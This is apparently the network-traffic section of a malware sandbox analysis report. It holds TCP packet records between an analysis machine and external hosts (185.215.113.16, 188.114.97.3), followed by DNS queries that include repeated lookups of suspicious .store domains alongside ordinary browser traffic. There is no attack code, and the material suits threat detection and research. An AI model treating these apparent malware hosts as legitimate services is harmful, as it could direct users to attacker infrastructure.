Nov 1, 2024 03:46:32.885744095 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.885756016 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.885847092 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.885859013 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.885869026 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.885920048 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886081934 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886141062 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886152029 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886152983 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886213064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886213064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886226892 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886239052 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886266947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886296034 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886298895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886343002 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886357069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886368990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886401892 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886476994 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886488914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886498928 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886512995 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886524916 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886538982 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886564970 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886611938 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886626959 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886637926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886652946 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886674881 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886780977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886821985 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886840105 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886851072 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886889935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.886917114 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886928082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.886961937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887073040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887115002 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887115955 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887128115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887155056 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887164116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887202024 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887217999 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887228966 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887245893 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887259960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887336969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887375116 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887377977 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887387037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887397051 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887412071 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887438059 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887609005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887655020 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887675047 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887686968 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887721062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.887751102 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887761116 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.887793064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970196962 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970215082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970242023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970253944 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970271111 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970283031 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970293045 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970307112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970323086 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970331907 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970350027 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970366955 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970397949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970439911 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970446110 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970488071 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970562935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970573902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.970607042 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.970624924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002383947 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002437115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002449036 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002451897 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002470016 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002490044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002521992 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002568960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002630949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002643108 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002652884 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002676964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002700090 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002851009 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002897024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002899885 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002912045 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002938986 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002943993 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002950907 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.002959967 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002981901 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.002995014 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.003067017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.003079891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.003118038 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.003129005 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.003140926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.003173113 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.003180027 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.003210068 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.058041096 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058080912 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058114052 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058141947 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058141947 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.058178902 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058212042 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.058408022 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.058454990 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.058471918 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.062644958 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.062690020 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.062705994 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.076211929 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076255083 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076267958 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076308012 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.076355934 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076366901 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076395988 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.076456070 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076467991 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076505899 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.076531887 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076548100 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076576948 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.076601982 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.076641083 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.081147909 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.081160069 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.081171036 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.081192970 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.081202984 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.081260920 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.101807117 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183073997 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183151960 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183185101 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183214903 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183218002 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183257103 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183293104 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183367968 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183451891 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183516979 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183527946 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.183541059 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:33.183547020 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:33.235810041 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235835075 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235845089 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235883951 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.235939980 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235950947 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235961914 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.235995054 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.236085892 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.236099005 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.236114025 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.236148119 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.236684084 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.236761093 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.236773968 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.236812115 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.237078905 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237113953 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.237132072 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237282038 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237294912 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237315893 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.237411022 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237421989 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.237442970 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.238051891 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.238063097 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.238073111 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.238105059 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.238127947 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.238185883 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.238198042 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.238241911 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.355073929 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395035028 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395050049 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395067930 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395091057 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395102024 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395133972 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.395194054 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.395260096 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395301104 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395317078 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395344973 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.395517111 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395571947 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.395600080 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395612001 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395648956 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.395718098 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395729065 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395739079 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.395768881 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.396173000 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396203041 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396215916 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396219015 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.396251917 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.396338940 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396351099 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396390915 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.396461010 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396472931 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396483898 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.396518946 CET	58542	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:33.397007942 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.397063971 CET	80	58542	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:33.397063971 CET	58542	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 03:45:06.108917952 CET	192.168.2.6	1.1.1.1	0x35e0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.122446060 CET	192.168.2.6	1.1.1.1	0x2c77	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.133573055 CET	192.168.2.6	1.1.1.1	0xf42	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.157270908 CET	192.168.2.6	1.1.1.1	0xb4dd	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.171650887 CET	192.168.2.6	1.1.1.1	0xe3fa	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.299827099 CET	192.168.2.6	1.1.1.1	0x486e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.312959909 CET	192.168.2.6	1.1.1.1	0x7d4b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.327822924 CET	192.168.2.6	1.1.1.1	0x154b	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.339777946 CET	192.168.2.6	1.1.1.1	0xc7aa	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.101835966 CET	192.168.2.6	1.1.1.1	0xecbb	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.116836071 CET	192.168.2.6	1.1.1.1	0x4cf8	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.128576040 CET	192.168.2.6	1.1.1.1	0x91a8	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.139794111 CET	192.168.2.6	1.1.1.1	0xb91	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.122811079 CET	192.168.2.6	1.1.1.1	0xaa1f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.163348913 CET	192.168.2.6	1.1.1.1	0x17e3	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.174562931 CET	192.168.2.6	1.1.1.1	0xe38b	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.226511002 CET	192.168.2.6	1.1.1.1	0xf43a	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:45.926254034 CET	192.168.2.6	1.1.1.1	0xe95a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:45.962538958 CET	192.168.2.6	1.1.1.1	0x7522	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:46:48.693108082 CET	192.168.2.6	1.1.1.1	0x4ff9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.207010031 CET	192.168.2.6	1.1.1.1	0x9e1b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.366672039 CET	192.168.2.6	1.1.1.1	0xc5f2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.373651981 CET	192.168.2.6	1.1.1.1	0xff97	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.375686884 CET	192.168.2.6	1.1.1.1	0x1ba9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 1, 2024 03:46:49.380765915 CET	192.168.2.6	1.1.1.1	0x933d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:46:50.393881083 CET	192.168.2.6	1.1.1.1	0x7a10	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.401063919 CET	192.168.2.6	1.1.1.1	0x6751	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.403986931 CET	192.168.2.6	1.1.1.1	0xebdc	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.409519911 CET	192.168.2.6	1.1.1.1	0x16aa	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.417279005 CET	192.168.2.6	1.1.1.1	0x3816	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 03:46:50.497940063 CET	192.168.2.6	1.1.1.1	0xddb8	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.505207062 CET	192.168.2.6	1.1.1.1	0x54a2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.519978046 CET	192.168.2.6	1.1.1.1	0x4e4c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.532012939 CET	192.168.2.6	1.1.1.1	0xd84f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:46:50.567163944 CET	192.168.2.6	1.1.1.1	0x1536	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.577640057 CET	192.168.2.6	1.1.1.1	0x60c4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:46:51.804024935 CET	192.168.2.6	1.1.1.1	0xc9d6	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:51.816781998 CET	192.168.2.6	1.1.1.1	0xd2b5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:51.837853909 CET	192.168.2.6	1.1.1.1	0xf56d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:04.604307890 CET	192.168.2.6	1.1.1.1	0xce60	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:04.884313107 CET	192.168.2.6	1.1.1.1	0x7c91	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 03:47:04.909550905 CET	192.168.2.6	1.1.1.1	0xd1fe	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:04.909756899 CET	192.168.2.6	1.1.1.1	0xea68	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:07.778054953 CET	192.168.2.6	1.1.1.1	0xdc4d	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:07.785531044 CET	192.168.2.6	1.1.1.1	0xb24c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:07.793267012 CET	192.168.2.6	1.1.1.1	0x7854	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:08.261722088 CET	192.168.2.6	1.1.1.1	0xe48f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.262036085 CET	192.168.2.6	1.1.1.1	0xbb8b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.262239933 CET	192.168.2.6	1.1.1.1	0x1916	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.269040108 CET	192.168.2.6	1.1.1.1	0x9503	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.269613981 CET	192.168.2.6	1.1.1.1	0xd984	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.270823002 CET	192.168.2.6	1.1.1.1	0x7bd2	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276667118 CET	192.168.2.6	1.1.1.1	0x32ef	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 03:47:08.277584076 CET	192.168.2.6	1.1.1.1	0xdce7	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 1, 2024 03:47:08.278850079 CET	192.168.2.6	1.1.1.1	0xb30a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
